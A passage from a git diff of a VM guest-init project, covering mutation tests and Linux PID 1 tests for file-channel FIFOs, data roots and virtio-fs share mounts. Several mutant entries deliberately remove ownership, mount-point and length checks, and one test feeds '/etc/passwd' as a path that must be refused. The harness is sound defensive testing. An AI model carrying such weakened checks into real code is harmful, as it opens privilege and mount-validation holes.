target, "/proc/self/fd/%d", fds[i]) >= (int)sizeof target) goto rollback;\n if (ops->mount(ops->ctx, set->item[i].tag, target,', 'if (where_of(ops, &set->item[i], where, sizeof where) != 0) goto rollback;\n if (ops->mount(ops->ctx, set->item[i].tag, where,', 'shmod'), + ('init/shares.c', 'return wg_mountinfo_entry_ok(text, length, where, share, WG_SHARE_FSTYPE, share->tag, WG_SHARE_MOUNT_DATA);', 'return wg_mountinfo_entry_ok(text, length, where, share, WG_SHARE_FSTYPE, share->tag, "dax=always");', 'shmod'), + ('init/init_linux.c', '#ifndef SHARES_OWNER\n#define SHARES_OWNER 0\n#endif', '#ifndef SHARES_OWNER\n#define SHARES_OWNER 1000\n#endif', 'shprod'), + ('build.py', 'FILE_CHANNEL_FLAG = "-DWG_FILE_CHANNEL_V1"', 'FILE_CHANNEL_FLAG = "-DWG_FILE_CHANNEL_V1 -DSHARES_OWNER=1000"', 'shprod'), + # ---- SH6 second fold: the not-yet-a-mount-point check and the alias owner check (root only: CI's root step runs them), the payload's path length, two + # mountinfo parser rules, and the module guard that keeps the root step from passing with its tests skipped + ('init/shares.c', ' if (ok && last) ok = st.st_dev == parent.st_dev;\n', '', 'shroot'), + ('init/shares.c', '|| !S_ISLNK(st.st_mode) || st.st_uid != owner)) rc = -1;', '|| !S_ISLNK(st.st_mode))) rc = -1;', 'shroot'), + ('init/boot.c', 'if (path_length > WG_SHARE_PATH_MAX || length - at < path_length) return -1;', 'if (path_length > WG_SHARE_PATH_MAX) return -1;', 'shboot'), + ('init/shares.c', ' if (end < n && at == n) return -1; /* a trailing space */\n', '', 'shmod'), + ('init/shares.c', 'if (separator < 0 || separator + 4 != count) return -1;', 'if (separator < 0 || separator + 4 > count) return -1;', 'shmod'), + ('init/shares.c', 'if (separator < 0 || separator + 4 != count) return -1;', 'if (separator < 0) return -1;', 'shmod'), + ('tests/test_pid1_linux.py', ' if problem:\n raise RuntimeError(', ' if False:\n raise RuntimeError(', 'shskip'), + ('tests/test_pid1_linux.py', ' if environ.get("WG_REQUIRE_REALMOUNT") != "1":\n return None', ' if True:\n return None', 'shskip'), ] SUITES = { @@ -140,6 +378,17 @@ "hygiene": ("tests", "test_hygiene.py", []), "bootstrap": ("bootstrap", "test_guest_bootstrap.py", []), "guided": ("tests", "test_guided_config.py", []), + "fcrelay": ("tests", "test_relay.py", ["-k", "FileChannelRelayTests"]), + "fcnative": ("tests", "test_native.py", []), + "fcboot": ("tests", "test_filechannel.py", ["-k", "BootFileChannelTests"]), + "fcroots": ("tests", "test_filechannel.py", ["-k", "DataRootTests"]), + "fchygiene": ("tests", "test_filechannel.py", ["-k", "ProductionHas"]), + "fcpid1": ("tests", "test_pid1_linux.py", ["-k", "FileChannelPid1Tests"]), + "shmod": ("tests", "test_shares.py", ["-k", "ShareModuleTests"]), + "shboot": ("tests", "test_shares.py", ["-k", "BootShareTests"]), + "shprod": ("tests", "test_shares.py", ["-k", "ProductionHasNoShareStepTests"]), + "shskip": ("tests", "test_pid1_linux.py", ["-k", "test_the_requirement_names_every_reason", "-k", "test_the_module_fails_rather_than_skips"]), + "shroot": ("tests", "test_pid1_linux.py", ["-k", "realmount"]), } @@ -155,8 +404,11 @@ def run_mutant(mutant): return "STALE" path.write_text(text.replace(old, new, 1)) directory, script, arguments = SUITES[suite] - result = subprocess.run([sys.executable, "-I", "-S", "-B", "-m", "unittest", "discover", "-s", str(copy / directory), "-p", script, *arguments], - capture_output=True, text=True, timeout=900) + try: + result = subprocess.run([sys.executable, "-I", "-S", "-B", "-m", "unittest", "discover", "-s", str(copy / directory), "-p", script, *arguments], + capture_output=True, text=True, timeout=300) + except subprocess.TimeoutExpired: + return "KILLED" # a guard whose removal makes the code under test loop or block is caught too return "KILLED" if result.returncode != 0 else "SURVIVED" finally: shutil.rmtree(folder, ignore_errors=True) @@ -165,7 +417,7 @@ def run_mutant(mutant): @unittest.skipUnless(CC, "no C compiler") class MutantTests(unittest.TestCase): def test_every_mutant_is_caught_by_its_suite(self): - runnable = [m for m in MUTANTS if m[3] != "pid1" or LINUX] + runnable = [m for m in MUTANTS if m[3] != "shroot" and (m[3] not in ("pid1", "fcpid1") or LINUX)] with ThreadPoolExecutor(4) as pool: outcomes = list(pool.map(run_mutant, runnable)) for mutant, outcome in zip(runnable, outcomes): @@ -173,5 +425,21 @@ def test_every_mutant_is_caught_by_its_suite(self): self.assertEqual(outcome, "KILLED") +@unittest.skipUnless(CC, "no C compiler") +class RootMutantTests(unittest.TestCase): + """The mutants only a real mount can catch (suite `shroot`). CI's root step runs this with WG_REQUIRE_REALMOUNT=1, where it must run, not skip.""" + + def test_realmount_every_root_only_mutant_is_caught(self): + if not (LINUX and os.geteuid() == 0 and shutil.which("unshare")): + if os.environ.get("WG_REQUIRE_REALMOUNT") == "1": + self.fail("the root-only mutants must run as root on Linux with unshare(1)") + self.skipTest("needs root on Linux (CI's root step)") + runnable = [m for m in MUTANTS if m[3] == "shroot"] + self.assertGreaterEqual(len(runnable), 2) + for mutant in runnable: + with self.subTest(file=mutant[0], old=mutant[1].strip()[:60]): + self.assertEqual(run_mutant(mutant), "KILLED") + + if __name__ == "__main__": unittest.main() diff --git a/apple/Cowork/WinterCoworkGuest/tests/test_native.py b/apple/Cowork/WinterCoworkGuest/tests/test_native.py index d3585b2b0..61d6ac8e3 100644 --- a/apple/Cowork/WinterCoworkGuest/tests/test_native.py +++ b/apple/Cowork/WinterCoworkGuest/tests/test_native.py @@ -48,7 +48,10 @@ class NativeCodecTests(unittest.TestCase): @classmethod def setUpClass(cls): cls.folder = tempfile.mkdtemp(prefix="guest-native-") - cls.tool = build([HERE / "native_tool.c", ROOT / "common/wmx.c", ROOT / "common/ctl.c"], Path(cls.folder) / "native_tool") + # The contract vectors are revision 3 and the file streams exist only for an image that declares file-channel-v1, so they are judged by the gated build; + # the production build (no WG_FILE_CHANNEL_V1) is a revision-2 guest for stream 4 and above, and a test below holds it to that. + cls.tool = build([HERE / "native_tool.c", ROOT / "common/wmx.c", ROOT / "common/ctl.c", ROOT / "common/fileflow.c"], Path(cls.folder) / "native_tool", extra=["-DWG_FILE_CHANNEL_V1"]) + cls.production_tool = build([HERE / "native_tool.c", ROOT / "common/wmx.c", ROOT / "common/ctl.c"], Path(cls.folder) / "native_tool_production") @classmethod def tearDownClass(cls): @@ -59,10 +62,12 @@ def run_tool(self, *args, stdin=None): self.assertEqual(result.returncode, 0, result.stderr) return result.stdout.splitlines() - def vector_results(self): + def vector_results(self, tool=None): lines = [f'{section[:3]}:{v["name"]} {v["direction"]} {v["hex"]}' for section in ("positive", "negative") for v in VECTORS[section]] out = {} - for line in self.run_tool("vectors", stdin="\n".join(lines) + "\n"): + result = subprocess.run([str(tool or self.tool), "vectors"], input="\n".join(lines) + "\n", capture_output=True, text=True, timeout=60) + self.assertEqual(result.returncode, 0, result.stderr) + for line in result.stdout.splitlines(): name, *fields = line.split("|") out[name] = fields return out @@ -79,6 +84,48 @@ def test_every_positive_vector_parses_with_its_header_fields(self): self.assertEqual((int(fields[1]), int(fields[2])), ({"control": 0, "bootstrap": 1, "runtime": 2}[v["class"]], v["seq"])) self.assertEqual(int(fields[3]), len(bytes.fromhex(v["hex"])) - 16) + def test_the_file_streams_exist_only_in_the_gated_build(self): + """Without WG_FILE_CHANNEL_V1 the guest is a revision-2 guest: stream 4 and above are bad_field in either direction, so a host that offered them would end the stream.""" + gated, production = self.vector_results(), self.vector_results(self.production_tool) + file_names = [v["name"] for v in VECTORS["positive"] if "file" in v["name"]] + self.assertEqual(len(file_names), 4) + for name in file_names: + self.assertEqual(gated["pos:" + name][0], "ok", name) + self.assertEqual(production["pos:" + name][0], "bad_field", name) + for name in ("runtime-stream-four", "runtime-file-in-travelling-up", "runtime-file-out-travelling-down"): + self.assertEqual(gated["neg:" + name], ["bad_direction"], name) + self.assertEqual(production["neg:" + name], ["bad_field"], name) + for name in ("runtime-file-in-on-conversation-one", "runtime-file-out-on-conversation-one", "runtime-file-out-empty-without-end", "runtime-stream-six", "runtime-stream-zero"): + self.assertEqual(gated["neg:" + name], ["bad_field"], name) + + def test_the_file_flow_rule_matches_every_contract_case(self): + """runtime-flow.json fileCases: the file bound is its own (4 requests, 16 KiB request lines, 384 KiB response lines); steps on the runtime streams + (in, out, err) belong to the runtime IN count, which the relay's 4 MiB queue absorbs (test_relay.py), so they are not part of this rule.""" + flow = json.loads((ROOT / "vectors/runtime-flow.json").read_text()) + self.assertEqual((flow["fileInFlightRequests"], flow["fileRequestBytes"], flow["fileResponseBytes"]), (4, 16384, 393216)) + for case in flow["fileCases"]: + with self.subTest(case["name"]): + steps = [s for s in case["steps"] if s["stream"].startswith("file_")] + out = self.run_tool("fileflow", stdin="".join(f'{s["stream"]} {s["bytes"]} {s["newlines"]}\n' for s in steps)) + refused = [i for i, line in enumerate(out) if line != "ok"] + file_refusal = case["refusedAt"] is not None and case["steps"][case["refusedAt"]]["stream"].startswith("file_") + if file_refusal: + index = [i for i, s in enumerate(case["steps"]) if s["stream"].startswith("file_")].index(case["refusedAt"]) + self.assertEqual(refused, [index]) + self.assertEqual(out[index], case["error"]) + else: + self.assertEqual(refused, []) + + def test_each_response_line_is_counted_on_its_own(self): + steps = "file_in 1 1\nfile_in 1 1\nfile_out 250000 1\nfile_out 250000 1\n" # two lines of 250,000 bytes: 500,000 in all, each under 384 KiB + self.assertEqual(self.run_tool("fileflow", stdin=steps), ["ok"] * 4) + steps = "file_in 1 1\nfile_in 1 1\nfile_out 250000 0\nfile_out 250000 1\n" # one line of 500,000 bytes + self.assertEqual(self.run_tool("fileflow", stdin=steps), ["ok", "ok", "ok", "oversize"]) + steps = "file_in 10000 0\nfile_in 6384 1\nfile_in 16384 1\n" # the request line restarts after each newline + self.assertEqual(self.run_tool("fileflow", stdin=steps), ["ok", "ok", "ok"]) + steps = "file_in 16384 1\nfile_in 16384 1\nfile_in 16384 1\n" + self.assertEqual(self.run_tool("fileflow", stdin=steps), ["ok", "ok", "ok"]) + def test_the_guests_own_control_messages_reencode_to_the_vector_bytes(self): results = self.vector_results() for name in ("control-up-drain-ack", "control-up-halting", "control-up-pong", "control-up-fault-during-drain", "control-up-fault-outside-drain"): diff --git a/apple/Cowork/WinterCoworkGuest/tests/test_pid1_linux.py b/apple/Cowork/WinterCoworkGuest/tests/test_pid1_linux.py index 561e68741..f02675646 100644 --- a/apple/Cowork/WinterCoworkGuest/tests/test_pid1_linux.py +++ b/apple/Cowork/WinterCoworkGuest/tests/test_pid1_linux.py @@ -8,6 +8,7 @@ Only what needs another user, a mount, a device or the real python3 stays untested here (see docs/research/2026-10-17-cowork-n2-guest-boot.md): the root-only effect of chown to the runtime uid, the real `sync()`/`reboot`, and the real supervisor's startup. """ +import errno import os import shutil import stat @@ -21,10 +22,79 @@ from test_native import CC, ROOT, build LINUX = sys.platform.startswith("linux") + + +def realmount_requirement_problem(environ, linux, cc, euid, unshare): + """Why CI's root step could not run the `realmount` tests here, or None. Only with WG_REQUIRE_REALMOUNT=1: elsewhere they may skip.""" + if environ.get("WG_REQUIRE_REALMOUNT") != "1": + return None + if not linux or not cc: + return "needs Linux and a C compiler" + if euid != 0: + return "needs root" + if not unshare: + return "needs unshare(1)" + return None + + +def setUpModule(): + """The class decorators below skip on a machine without Linux or a compiler before any test body runs, so `-k realmount` would pass with every test skipped. + Under WG_REQUIRE_REALMOUNT=1 that is an error of the whole module instead.""" + problem = realmount_requirement_problem(os.environ, LINUX, CC, os.geteuid(), shutil.which("unshare")) + if problem: + raise RuntimeError("WG_REQUIRE_REALMOUNT=1 but the real-mount tests cannot run: " + problem) INIT = ROOT / "init" PATH_ENV = "PATH=/usr/sbin:/usr/bin:/sbin:/bin" +class RealmountRequirementTests(unittest.TestCase): + """Runs everywhere: CI's root step cannot pass with its real-mount tests skipped.""" + + def test_the_requirement_names_every_reason_the_root_tests_could_not_run(self): + required = {"WG_REQUIRE_REALMOUNT": "1"} + self.assertIsNone(realmount_requirement_problem({}, False, None, 1000, None)) # not required: they may skip + self.assertIsNone(realmount_requirement_problem(required, True, "cc", 0, "/usr/bin/unshare")) + self.assertEqual(realmount_requirement_problem(required, False, "cc", 0, "/usr/bin/unshare"), "needs Linux and a C compiler") + self.assertEqual(realmount_requirement_problem(required, True, None, 0, "/usr/bin/unshare"), "needs Linux and a C compiler") + self.assertEqual(realmount_requirement_problem(required, True, "cc", 1000, "/usr/bin/unshare"), "needs root") + self.assertEqual(realmount_requirement_problem(required, True, "cc", 0, None), "needs unshare(1)") + + def test_the_module_fails_rather_than_skips_when_the_requirement_is_not_met(self): + import unittest.mock + module = sys.modules[__name__] + with unittest.mock.patch.dict(os.environ, {"WG_REQUIRE_REALMOUNT": "1"}), unittest.mock.patch.object(module, "LINUX", False): + with self.assertRaises(RuntimeError): + setUpModule() + with unittest.mock.patch.dict(os.environ, {"WG_REQUIRE_REALMOUNT": "0"}), unittest.mock.patch.object(module, "LINUX", False): + setUpModule() + + def test_the_root_step_sets_the_requirement(self): + workflow = (ROOT.parents[2] / ".github/workflows/cowork-guest-boot.yml").read_text() + self.assertRegex(workflow, r"WG_REQUIRE_REALMOUNT=1 python3 -I -S -B -m unittest discover -s apple/Cowork/WinterCoworkGuest/tests -p 'test_pid1_linux.py' -k realmount") + + +class LinuxToolSubcommandTests(unittest.TestCase): + """Runs everywhere, macOS included: every subcommand these Linux-only tests hand tests/linux_init_tool.c is one the tool has, and the CI build of the tool is + the one these tests make (the workflow runs this module; it compiles nothing itself). A lost subcommand fails here, not only on the Linux runner.""" + + def test_every_subcommand_the_tests_use_exists_in_the_tool(self): + import re + tests = Path(__file__).read_text() + tool = (ROOT / "tests/linux_init_tool.c").read_text() + known = set(re.findall(r'strcmp\(argv\[1\], "([a-z]+)"\) == 0', tool)) + used = set(re.findall(r'(?:run_tool|private)\(\s*"([a-z]+)"', tests)) | set(re.findall(r'str\(self\.tool\), "([a-z]+)"', tests)) + self.assertGreaterEqual(len(used), 12) + self.assertEqual(sorted(used - known), []) + self.assertIn('"mountinfo"', tests) + self.assertIn("mountinfo", used) + + def test_the_workflow_runs_these_tests_and_builds_nothing_itself(self): + workflow = (ROOT.parents[2] / ".github/workflows/cowork-guest-boot.yml").read_text() + self.assertIn("-p 'test_pid1_linux.py' -k realmount", workflow) + self.assertIn("discover -s apple/Cowork/WinterCoworkGuest/tests -p 'test_*.py'", workflow) + self.assertNotIn("linux_init_tool", workflow) + + @unittest.skipUnless(CC and LINUX, "needs Linux and a C compiler") class Pid1LinuxTests(unittest.TestCase): @classmethod @@ -224,5 +294,438 @@ def test_without_a_host_query_conversation_only_the_config_descriptor_is_passed( self.assertEqual(sorted(descriptors), [0, 1, 2, 3]) +@unittest.skipUnless(CC and LINUX, "needs Linux and a C compiler") +class FileChannelPid1Tests(unittest.TestCase): + """init_linux.c built with WG_FILE_CHANNEL_V1 (an image that declares `file-channel-v1`): the two FIFOs, the supervisor's last two arguments and descriptors, the + hard-link sysctl, the data device and the data roots. Same driver as Pid1LinuxTests; the production build has none of this (test_hygiene.py).""" + + @classmethod + def setUpClass(cls): + cls.folder = Path(tempfile.mkdtemp(prefix="guest-pid1-fc-")) + cls.trusted = cls.folder / "trusted" + cls.trusted.mkdir(mode=0o700) + cls.workspace = cls.folder / "workspace" + cls.workspace.mkdir() + cls.sysctl = cls.folder / "protected_hardlinks" + cls.conversations_store = cls.folder / "conversations-store" + cls.conversations_run = cls.folder / "conversations-run" + cls.conversations_store.mkdir() + cls.conversations_run.mkdir() + cls.fake = cls.folder / "fake-supervisor" + result = subprocess.run([CC, "-std=c11", "-O1", "-Wall", "-Wextra", "-Werror", "-pedantic", str(ROOT / "tests/fake_supervisor.c"), "-o", str(cls.fake)], capture_output=True, text=True) + assert result.returncode == 0, result.stderr + sources = [ROOT / "tests/linux_init_tool.c", INIT / "boot.c", INIT / "discover.c", INIT / "ext4sb.c", INIT / "mounts.c", INIT / "skeleton.c", + INIT / "trusted_config.c", INIT / "dataroots.c", INIT / "shares.c", ROOT / "common/wmx.c", ROOT / "common/ctl.c"] + cls.tool = build(sources, cls.folder / "linux-init-tool", extra=["-DWG_FILE_CHANNEL_V1", f'-DPYTHON_PATH="{cls.fake}"', f'-DTRUSTED_DIR="{cls.trusted}"', + f'-DWG_WORKSPACE_PATH="{cls.workspace}"', f'-DWORKSPACE_CONVERSATIONS="{cls.conversations_store}"', + f'-DRUN_CONVERSATIONS="{cls.conversations_run}"']) + + @classmethod + def tearDownClass(cls): + shutil.rmtree(cls.folder, ignore_errors=True) + + def setUp(self): + self.dir = Path(tempfile.mkdtemp(prefix="guest-pid1-fc-case-")) + self.addCleanup(shutil.rmtree, self.dir, ignore_errors=True) + # The workspace is shared by the whole class, and the plan view's record of epochs is the disk itself: an epoch an earlier test made (rightly) makes every lower one stale, so each + # test starts with no plan folder, as a fresh data volume would. + shutil.rmtree(self.workspace / "plan", ignore_errors=True) + + def run_tool(self, *args): + result = subprocess.run([str(self.tool), *map(str, args)], capture_output=True, text=True, timeout=60) + self.assertEqual(result.returncode, 0, result.stderr + result.stdout) + return result.stdout + + @staticmethod + def fields(line): + return dict(part.split("=", 1) for part in line.split()) + + # ---- the FIFOs + + def test_the_two_fifos_are_nonblocking_owned_by_pid_1_single_link_and_close_on_exec(self): + lines = [line for line in self.run_tool("fifos").splitlines() if line.startswith("end:")] + self.assertEqual(len(lines), 4) + for index, line in enumerate(lines): + fields = self.fields(line.split(" ", 1)[1]) + self.assertEqual((fields["fifo"], fields["owner"], fields["nlink"], fields["nonblock"], fields["cloexec"]), ("1", "1", "1", "1", "1"), line) + self.assertEqual(fields["access"], str(index % 2)) # each pipe: read end first, write end second + + def fifook(self, path, flags): + return self.run_tool("fifook", path, flags).strip() + + def test_the_supervisors_file_descriptor_check_refuses_what_is_not_a_nonblocking_single_link_fifo(self): + fifo = self.dir / "fifo" + os.mkfifo(fifo, 0o600) + self.assertEqual(self.fifook(fifo, os.O_RDWR | os.O_NONBLOCK), "1") + self.assertEqual(self.fifook(fifo, os.O_RDWR), "0") # blocking + regular = self.dir / "regular" + regular.write_text("x") + self.assertEqual(self.fifook(regular, os.O_RDWR | os.O_NONBLOCK), "0") # not a FIFO + os.link(fifo, self.dir / "second-name") + self.assertEqual(self.fifook(fifo, os.O_RDWR | os.O_NONBLOCK), "0") # two links + + # ---- the supervisor's descriptors and last two arguments + + def start(self, flags): + try: + os.unlink(self.trusted / "config.json") + except FileNotFoundError: + pass + text = self.run_tool("startsup", flags) + lines = text.splitlines() + self.assertEqual(lines[0], "rc=0", text) + self.assertEqual(lines[1], "exit:0", text) + facts, descriptors = {}, {} + for line in lines[2:]: + key, _, value = line.partition(":") + if key == "fd": + number, _, rest = value.partition(" ") + descriptors[int(number)] = self.fields(rest) + else: + facts[key] = value + return facts, descriptors + + def check_parent(self, facts): + # PID 1 keeps none of the supervisor's ends: after the fork the file ends are closed here whether or not the supervisor was given them, so a left-over copy cannot keep a + # FIFO open after the supervisor and the relay are gone. + self.assertEqual(facts["parentfile"], "in=-1 out=-1 closed=1") + self.assertEqual(facts["fileeof"], "out=1 in_reader_gone=1") + self.assertEqual(facts["parent"], "in=-1 out=-1 err=-1 closed=1 added=-3") + + def test_with_runtime_ports_the_file_channel_is_descriptors_7_and_8_and_the_last_two_arguments(self): + facts, descriptors = self.start(3) + self.check_parent(facts) + self.assertEqual(facts["argv"], "-I|-S|-B|/opt/winter/libexec/linux-supervisor.py|--trusted-config-fd|3|--runtime-ports-fds|4,5,6|--file-channel-fds|7,8") + self.assertEqual(sorted(descriptors), [0, 1, 2, 3, 4, 5, 6, 7, 8]) + self.assertEqual([(descriptors[n]["kind"], int(descriptors[n]["access"]), descriptors[n]["nonblock"], descriptors[n]["cloexec"], descriptors[n]["nlink"]) for n in (7, 8)], + [("fifo", 0, "1", "0", "1"), ("fifo", 1, "1", "0", "1")]) # IN is the read end, OUT the write end + + def test_without_runtime_ports_the_file_channel_is_descriptors_4_and_5(self): + facts, descriptors = self.start(2) + self.check_parent(facts) + self.assertEqual(facts["argv"], "-I|-S|-B|/opt/winter/libexec/linux-supervisor.py|--trusted-config-fd|3|--file-channel-fds|4,5") + self.assertEqual(sorted(descriptors), [0, 1, 2, 3, 4, 5]) + self.assertEqual([(descriptors[n]["kind"], int(descriptors[n]["access"]), descriptors[n]["nonblock"]) for n in (4, 5)], [("fifo", 0, "1"), ("fifo", 1, "1")]) + + def test_without_a_browse_uid_the_supervisor_gets_no_file_descriptors_and_no_file_arguments(self): + for flags, argv, count in ((1, "-I|-S|-B|/opt/winter/libexec/linux-supervisor.py|--trusted-config-fd|3|--runtime-ports-fds|4,5,6", 7), + (0, "-I|-S|-B|/opt/winter/libexec/linux-supervisor.py|--trusted-config-fd|3", 4)): + with self.subTest(flags=flags): + facts, descriptors = self.start(flags) + self.check_parent(facts) + self.assertEqual(facts["argv"], argv) + self.assertEqual(sorted(descriptors), list(range(count))) + + def test_a_supervisor_end_that_is_not_a_nonblocking_fifo_stops_the_start_before_anything_runs(self): + try: + os.unlink(self.trusted / "config.json") + except FileNotFoundError: + pass + self.assertEqual(self.run_tool("startsup", 2, "blocking").splitlines()[0], "rc=-1") + try: + os.unlink(self.trusted / "config.json") + except FileNotFoundError: + pass + self.assertEqual(self.run_tool("startsup", 2).splitlines()[0], "rc=0") + + # ---- the hard-link sysctl + + def hardlinks(self, path): + return self.run_tool("hardlinks", path).strip() + + def test_protected_hardlinks_is_written_as_1(self): + self.sysctl.write_text("0\n") + os.chmod(self.sysctl, 0o644) + self.assertEqual(self.hardlinks(self.sysctl), "rc=0") + self.assertEqual(self.sysctl.read_text(), "1\n") + + def test_a_sysctl_that_cannot_be_written_or_is_a_link_is_a_failure(self): + self.assertEqual(self.hardlinks("/dev/full"), "rc=-1") # the open works and the write fails: only the result of the write says so + self.assertEqual(self.hardlinks("/dev/null"), "rc=0") + self.assertEqual(self.hardlinks(self.dir / "missing"), "rc=-1") + target = self.dir / "target" + target.write_text("0\n") + link = self.dir / "link" + os.symlink(target, link) + self.assertEqual(self.hardlinks(link), "rc=-1") # O_NOFOLLOW: a link is never followed + self.assertEqual(target.read_text(), "0\n") + if os.getuid() != 0: + readonly = self.dir / "readonly" + readonly.write_text("0\n") + os.chmod(readonly, 0o444) + self.assertEqual(self.hardlinks(readonly), "rc=-1") + + # ---- the data device and the data roots + + def test_the_data_device_is_the_st_dev_of_the_workspace(self): + out = self.fields(self.run_tool("datadev").strip()) + self.assertEqual((out["rc"], int(out["device"])), ("0", os.stat(self.workspace).st_dev)) + + def test_a_workspace_that_is_missing_or_not_a_directory_has_no_device(self): + moved = self.folder_moved = self.workspace.with_name("workspace-away") + self.workspace.rename(moved) + try: + self.assertEqual(self.fields(self.run_tool("datadev").strip())["rc"], "-1") + self.workspace.write_text("file") + self.assertEqual(self.fields(self.run_tool("datadev").strip())["rc"], "-1") + self.workspace.unlink() + finally: + moved.rename(self.workspace) + + def roots(self, browse, *sources): + return self.fields(self.run_tool("roots", browse, os.getgid(), *sources).strip())["rc"] + + def test_the_conversation_directories_are_made_and_the_data_roots_only_for_a_workspace_with_a_browse_uid(self): + """op_prepare_conversation_dirs itself, with the paths of this test: the private per-conversation directories always, the data roots when there is a browse uid.""" + self.assertEqual(self.roots(0, "/workspace/repos/off"), "0") + self.assertTrue((self.conversations_store / "s1").is_dir() and (self.conversations_run / "s1").is_dir()) + self.assertFalse((self.workspace / "repos/off").exists()) + self.assertEqual(self.roots(40001, "/workspace/repos/on"), "0") + mode = stat.S_IMODE(os.stat(self.workspace / "repos/on").st_mode) + self.assertEqual((mode, os.stat(self.workspace / "repos/on").st_gid), (0o2770, os.getgid())) + self.assertEqual(self.roots(40001, "/etc/passwd"), "-1") + + def test_the_plan_view_is_made_by_pid_1_for_its_own_conversation_and_an_earlier_epoch_never_again(self): + """Through op_prepare_conversation_dirs (the conversation here is `s1`): /workspace/plan/s1/ (the conversation's tool uid, 0700) below /workspace/plan and /workspace/plan/s1 (root, 0711); a stale epoch refused. + The tool does not run as root, so what the file system keeps is the invoking user's; the owner PID 1 asks for (41001) is covered by test_filechannel's request log.""" + self.assertEqual(self.roots(40001, "/workspace/plan/s1/3"), "0") + view = self.workspace / "plan/s1/3" + self.assertEqual(stat.S_IMODE(view.stat().st_mode), 0o700) + self.assertEqual((stat.S_IMODE((self.workspace / "plan").stat().st_mode), stat.S_IMODE((self.workspace / "plan/s1").stat().st_mode)), (0o711, 0o711)) + self.assertEqual(self.roots(40001, "/workspace/plan/s1/2"), "-1") # below 3 + self.assertFalse((self.workspace / "plan/s1/2").exists()) + self.assertEqual(self.roots(40001, "/workspace/plan/other/1"), "-1") # not this conversation's + self.assertEqual(self.roots(40001, "/workspace/plan/s1/4"), "0") + self.assertEqual(sorted(p.name for p in (self.workspace / "plan/s1").iterdir()), ["3", "4"]) + + def test_a_workspace_without_a_browse_uid_still_gets_its_plan_view_and_no_other_root(self): + self.assertEqual(self.roots(0, "/workspace/repos/off2", "/workspace/plan/s1/9"), "0") + self.assertTrue((self.workspace / "plan/s1/9").is_dir()) + self.assertFalse((self.workspace / "repos/off2").exists()) + self.assertEqual(self.roots(0, "/workspace/plan/s1/8"), "-1") # stale on this path too + + +@unittest.skipUnless(CC and LINUX, "needs Linux and a C compiler") +class SharesPid1Tests(unittest.TestCase): + """init_linux.c's share step (SH6) with its real system calls: the sysfs and mount table readers, mount(2) through the checked descriptor and umount2(2). + + As an ordinary process the mount is refused (EPERM), which must undo the step. The tests whose names hold `realmount` need root and run in CI's root step + (`.github/workflows/cowork-guest-boot.yml`, with WG_REQUIRE_REALMOUNT=1 so they fail rather than skip), each in a private mount namespace: the whole step for real + on tmpfs (this runner has no virtio-fs device, so virtio-fs itself is reached and refused, and the live virtio-fs mount is G7's), a mount point that already holds + a mount, and the mountinfo reader and every flag and data-option check on the kernel's own output, including ext4 mounted with dax=never.""" + FOLDER = "folder:0:src-0:/workspace/folders/notes" + PHOTOS = "folder:1:src-1:/workspace/folders/photos" + GUIDANCE = "guidance:1:winter-guidance:/run/winter/shared-instructions" + MEMORY = "memory:0:winter-memory:/workspace/.winter/memory" + OUTPUTS = "outputs:0:winter-outputs:/workspace/outputs" + + @classmethod + def setUpClass(cls): + cls.folder = Path(tempfile.mkdtemp(prefix="guest-pid1-shares-")) + os.chmod(cls.folder, 0o755) + cls.root = cls.folder / "root" + cls.sys = cls.folder / "sys" + sources = [ROOT / "tests/linux_init_tool.c", INIT / "boot.c", INIT / "discover.c", INIT / "ext4sb.c", INIT / "mounts.c", INIT / "skeleton.c", + INIT / "trusted_config.c", INIT / "dataroots.c", INIT / "shares.c", ROOT / "common/wmx.c", ROOT / "common/ctl.c"] + owner = f"-DSHARES_OWNER={os.getuid()}" # test build only: the walk then accepts this process's own directories and reaches the real mount(2) + cls.tool = build(sources, cls.folder / "linux-init-tool", extra=["-DWG_FILE_CHANNEL_V1", f'-DSHARES_ROOT="{cls.root}"', f'-DSHARES_SYS_ROOT="{cls.sys}"', owner]) + cls.real_sys_tool = build(sources, cls.folder / "linux-init-tool-real-sys", extra=["-DWG_FILE_CHANNEL_V1", f'-DSHARES_ROOT="{cls.root}"', owner]) + + @classmethod + def tearDownClass(cls): + shutil.rmtree(cls.folder, ignore_errors=True) + + def setUp(self): + shutil.rmtree(self.root, ignore_errors=True) + shutil.rmtree(self.sys, ignore_errors=True) + for sub in ("run/winter/shared-instructions", "workspace/.winter/memory", "workspace/outputs", "workspace/folders"): + (self.root / sub).mkdir(parents=True, exist_ok=True) + for sub in ("workspace", "workspace/.winter", "workspace/.winter/memory", "workspace/outputs", "workspace/folders"): + os.chmod(self.root / sub, 0o711) + + def run_tool(self, *args, tool=None): + result = subprocess.run([str(tool or self.tool), *map(str, args)], capture_output=True, text=True, timeout=60) + self.assertEqual(result.returncode, 0, result.stderr + result.stdout) + return result.stdout + + def need_root(self): + """A `realmount` test: root and unshare(1), or (in CI's root step, WG_REQUIRE_REALMOUNT=1) a failure instead of a skip.""" + unshare = shutil.which("unshare") + if os.geteuid() == 0 and unshare: + return unshare + if os.environ.get("WG_REQUIRE_REALMOUNT") == "1": + self.fail("the real-mount step must run as root with unshare(1)") + self.skipTest("needs root (CI's root step)") + + def private(self, *args, shell=None): + """The tool (or a shell line ending in it) as root in a private mount namespace: every mount it makes is gone when it exits.""" + unshare = self.need_root() + command = [unshare, "-m", "--propagation", "private"] + (["/bin/sh", "-c", shell, "sh", str(self.tool), *map(str, args)] if shell else [str(self.tool), *map(str, args)]) + result = subprocess.run(command, capture_output=True, text=True, timeout=120) + self.assertEqual(result.returncode, 0, result.stderr + result.stdout) + return result.stdout + + def fake_sysfs(self, tags): + (self.sys / "fs/virtiofs").mkdir(parents=True) + (self.sys / "bus/virtio/devices").mkdir(parents=True) + for n, tag in enumerate(tags): + (self.sys / f"fs/virtiofs/{n}").mkdir() + (self.sys / f"fs/virtiofs/{n}/tag").write_text(tag + "\n") + (self.sys / f"bus/virtio/devices/virtio{n}").mkdir() + (self.sys / f"bus/virtio/devices/virtio{n}/device").write_text("0x001a\n") + + def modes(self): + return {str(p.relative_to(self.root)): stat.S_IMODE(p.lstat().st_mode) for p in self.root.rglob("*")} + + @staticmethod + def fields(text): + return dict(line.split("=", 1) for line in text.splitlines() if "=" in line and " " not in line.split("=", 1)[0]) + + @staticmethod + def tag_of(spec): + return spec.split(":")[2] + + # ---- as an ordinary process + + def test_an_inventory_that_does_not_match_fails_the_real_step_before_anything_is_made(self): + self.fake_sysfs(["src-0"]) + before = self.modes() + self.assertTrue(self.run_tool("shares", self.FOLDER, self.MEMORY).startswith("rc=1 mounted=0 ")) + self.assertEqual(self.modes(), before) + + def 